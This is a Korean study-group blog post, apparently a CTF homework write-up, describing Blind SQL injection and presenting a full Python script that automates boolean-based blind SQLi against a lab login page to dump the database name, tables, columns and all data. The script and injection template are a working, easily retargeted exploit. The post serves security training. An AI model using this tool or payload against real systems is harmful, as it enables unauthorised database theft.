ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • 7주차 과제
    모의해킹스터디_과제 2023. 12. 12. 15:21
    당일 과제

     

    [1] Error Based SQLi 정리 & 연습문제 풀기

    - [SQL Injection (Error Based SQLi Basic)]

     

    [2] Blind SQLi 정리 & 연습문제 풀기

    - [SQL Injection (Blind Practice)]

    - 수작업으로!

     

    이번주 과제

     

    [1] SQL Injection : 데이터 추출 총 정리

    [2] SQL Injection 문제 풀어보기!

    [3] write up 작성

     

    웹사이트 개발 과제

     

    [게시판]

    • 게시글 리스트 보여주는 페이지
    • 게시글 상세 내용 보여주는 페이지
    • 게시글 작성 페이지

    이번주 과제

    노말틱님의 취침통제 덕분에(?) 수업 이후 자발적으로 당일 과제를 끝냈다.

     

    수작업으로 하길 당부하셔서 Burp Suite로 하나하나 확인했는데,

    하면서 이해는 너무 잘 됐지만, 확실히 Blind SQLi를 수작업으로 한다는 게.. 정말 많이 귀찮았다.

    게다가 한번 실수해서 넘어가거나 그러면..  다시 확인해야 한다.

    .

    ..

    끝내자마자 바로 자동화를 해야겠다는 생각만 가득했다.

     

     

     

    [1] SQL Injection : 데이터 추출 총 정리

    Blind SQLi를 마지막으로 SQL Injection이 마무리됐다.

     

    SQL Injection의 내용은 수업할 때마다 정리를 해서 굳이 여기에 따로 총 정리를 안해도 될 것 같고

    이전 글을 확인해보면 될 것 같다.

     

    2023.12.07 - [모의해킹스터디5기(feat.Normaltic)] - SQL Injection [5주차]

    2023.12.08 - [모의해킹스터디5기(feat.Normaltic)] - UNION SQL Injection [6주차]

    2023.12.08 - [모의해킹스터디5기(feat.Normaltic)] - Error Based SQLi / Blind SQLi [7주차]

     

     

     

     

    [2] SQL Injection 문제 풀어보기!

    새로 추가된 문제는 총 4개다.

    1. SQL Injection 문제들

     

    SQL Injection 3부터 6까지인데 전부 같은 원리의 Blind SQLi로

    배운 것들을 그대로 적용하기만 하면 다 풀 수 있다.

     

    적용하기만 하면 풀 수 있는데,

    할 수 있는데,

    아까 말했듯이 너무 번거롭다는 거..

     

    바로 자동화 프로그램을 만들어보도록 하겠다.

     

     

     

    Blind SQLi 자동화

     

    구글링을 하다보니 Blind SQLi를 자동화하는 프로그램이 있길래, 이걸 목적에 맞게 고쳐보도록 하겠다.

    기존의 프로그램은 원하는 SELECT문을 직접 입력해서 그 결과를 알려주는 프로그램이었는데,

    Blind SQLi 프로세스에 맞게 DB부터, 테이블, 컬럼까지 구해서 모든 데이터를 출력하는 프로그램으로 바꿔보겠다. 

     

    (기존의 프로그램 코드 출처는 아래에 참조해두었다.)

     

     

    blind_auto.py

    import requests
    import urllib.parse
    
    #------------------수정하는 부분----------------------------
    # 1. URL
    url = ("http://ctf.segfaulthub.com:7777/sqli_3/login.php") 
    # 2. header
    headers = {
      "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.199 Safari/537.36",
      "Cookie": "자신의 쿠키 ex) session=????, cookie=????"
    } 
    # 3. 식별메시지
    index_value = "Warning!"
    #-----------------------------------------------------------

     

    위 부분만 적절히 수정해주면 다른 Blind SQLi 문제도 풀 수 있을 것이다.

    실제로 이번에 추가된 문제를 다 이 코드로 풀었다.

    (+ 이 코드는 POST방식으로 코드가 짜여있는데, GET 방식으로 하고 싶다면 구글링하길)

     

     

    # SQL틀
    SQL_format = "' AND ascii(substring(({}),{},1))>{} AND '1'='1"
    
    # Blind SQLi 함수
    def blind_sqli(SQL_format, query) :
      while True :
        value = binarySearch(query,index_value)
        return value
    
    # 이진탐색 함수
    def binarySearch(query, index_value) :
      # SQL substring 위치  
      s = 1 
      # 아스키코드 번호 [스페이스(32) / ~(126)]
      start = 32 
      end = 126
      value = ""
      
      while True :
        # 먼저 아스키코드가 0인지 식별
        mid = int((start+end)/2) 
        data = {
            "UserId": "normaltic" + SQL_format.format(query, s, 0),
            "Password": "1234",
            "Submit": "Login"
        } 
        response = requests.post(url, data=data, headers=headers)
        # 0보다 큰게 거짓이면 NULL값이므로 종료한다
        if index_value in response.text : 
          break
        else : 
          data = {
            "UserId": "normaltic"+SQL_format.format(query, s, mid),
            "Password": "1234",
            "Submit": "Login"
          }
          response = requests.post(url, data=data, headers=headers) 
          # 거짓이면 끝 값을 mid로 바꾼다
          if index_value in response.text :
            end = mid
          # 참이면 시작 값을 mid로 바꾼다
          else :
            start = mid 
          # 만약 start값에 1 더해서 end랑 같거나 크면 end가 답이다.
          if start+1 >= end :
            value += chr(end)
            # 다음 글자 찾기
            s+=1 
            # 초기화
            start = 32 
            end = 126
    
      # s가 그대로 1이면 아무것도 나오지 않았을 때
      if s==1:
        return "No data"
      else:
        return value

     

    위의 코드가 구글링해서 찾은 코드의 알고리즘이다.

    어느정도는 고친 부분이 있긴 하지만 기본적인 원리는 동일하다.

     

    코드 작성하신 분께서 주석을 달아두셨긴 한데, 추가로 필요할 것 같은 부분도 더 달아두었다.

    그럼에도 이해하기가 어렵다면, 글 솜씨가 부족한 탓이다.. 

     

     

     

    # Database 찾기
    print("[database]")
    query = "SELECT database()"
    db_name = blind_sqli(SQL_format, query)
    print(db_name)
    print()
    
    # 테이블 찾기
    print("[table]")
    query = "SELECT table_name FROM information_schema.tables WHERE table_schema='{}' LIMIT {}, 1"
    limit_num = 0
    tables = []
    while True:
      response = blind_sqli(SQL_format, query.format(db_name, limit_num))
      if response=="No data":
        break
      else:
        print(response)
        tables.append(response)
        limit_num+=1
    print()
    
    # 컬럼 찾기
    print("[column]")
    query = "SELECT column_name FROM information_schema.columns WHERE table_name='{}' LIMIT {}, 1"
    limit_num = 0
    table_num = 0
    columns = [[] for i in range(len(tables))]
    print("--["+tables[table_num]+"]")
    while True:
      response = blind_sqli(SQL_format, query.format(tables[table_num], limit_num))
      if response=="No data":
        if table_num==len(tables)-1:
          break
        else:
          table_num+=1
          limit_num=0
          print("\n--["+tables[table_num]+"]")
      else:
        print(response)
        columns[table_num].append(response)
        limit_num+=1
    print()
    
    # 얻은 정보로 data 추출하기
    print("[data]")
    query = "SELECT {} FROM {} LIMIT {}, 1"
    table_num = 0
    column_num = 0
    limit_num = 0
    while True:
      response = blind_sqli(SQL_format, query.format(columns[table_num][column_num], tables[table_num], limit_num))
      if response=="No data":
        if column_num==len(columns[table_num])-1:
          if table_num==len(tables)-1:
            break
          else:
            table_num+=1
            column_num=0
            limit_num=0
        else:
          column_num+=1
          limit_num=0
      else:
        print(query.format(columns[table_num][column_num], tables[table_num], limit_num), ":", response)
        limit_num+=1

     

    이 부분이 내가 작성한 부분인데, DB 이름부터 시작해서 테이블 이름, 각 테이블의 컬럼 이름을 다 구해서

    모든 데이터를 추출하여 출력하는 프로그램이다.

     

    조금 복잡해 보이지만 간단하게 SELECT문 안의 내용들만 바꿔서 하나하나 SQL문 결과를 출력하는 프로그램이다.

    SELECT 컬럼 FROM 테이블 LIMIT 번호, 1

     

     

     

     

     

    [3] write up 작성

    모든 문제가 전부 로그인 페이지에서 flag를 찾는 것으로 같은 방식이다.

    제공하는 아이디와 비밀번호도 normaltic / 1234 로 모두 동일하다. 

    1. SQL Injection 문제 화면

     

    참과 거짓을 분별하는 메세지도 같은 방식으로 'Warning!' 으로 나오기 때문에

    페이지 URL만 바꿔서 프로그램을 실행했더니 쉽게 해결했다.

     

    2. SQL Injection 참/거짓 판별메세지

     

     

     

    그럼 바로 프로그램 실행 결과를 확인해 보도록 하겠다.

    3. SQL Injection 4 프로그램 실행 결과

     

    이런 식으로 database와 table, column 등등 먼저 나오고, 실행한 SELECT문과 그 결과가 옆에 나오게 했다.

     

     

    4. SQL Injection 5, 6 프로그램 실행 결과

     

    다른 문제들도 결과가 잘 나온다. 결과 중에 flag 찾아서 입력하면 된다.

    하나 확실한 건, 자동화 프로그램을 무조건 만들어 보라고 강제하는 문제들이다.

     

    5번도 심했지만, 6번은 진짜.. 일일이 했다면 5시간 정도 걸리지 않았을까 싶다.

     

    4. SQL Injection 6_농락메세지

     

    이번에도 여전한 농락메세지까지ㅎ

     

     

     

    결론

    Blind SQLi 프로세스만 잘 이해하고 자동화 프로그램을 잘 작성하기만 하면 쉽게 풀 수 있는 문제였다.

    오랜만에 코드를 작성하면서 재미를 느꼈다. 다음에는 어떤 문제를 풀 지 기대된다.

     

     

     


    참조

     

    [노말틱 모의 해킹 취업반 6주차 해킹과제] Blind SQL Injection Python(POST방식)

    안녕하세요! 오늘은 Blind SQL Injection을 했을 때 저희가 일일이 문자 하나하나 넣어서 확인했었잖아요? 이제 그걸 자동화하기 위해 파이썬으로 코드를 짜서 만들어보겠습니다. 일단은 import requests

    mynameisarke.tistory.com

     

    '모의해킹스터디_과제' 카테고리의 다른 글

    9주차 과제  (0) 2024.01.03
    8주차 과제  (0) 2023.12.22
    6주차 과제  (0) 2023.12.08
    5주차 과제  (0) 2023.12.07
    4주차 과제  (0) 2023.12.06
Designed by Tistory.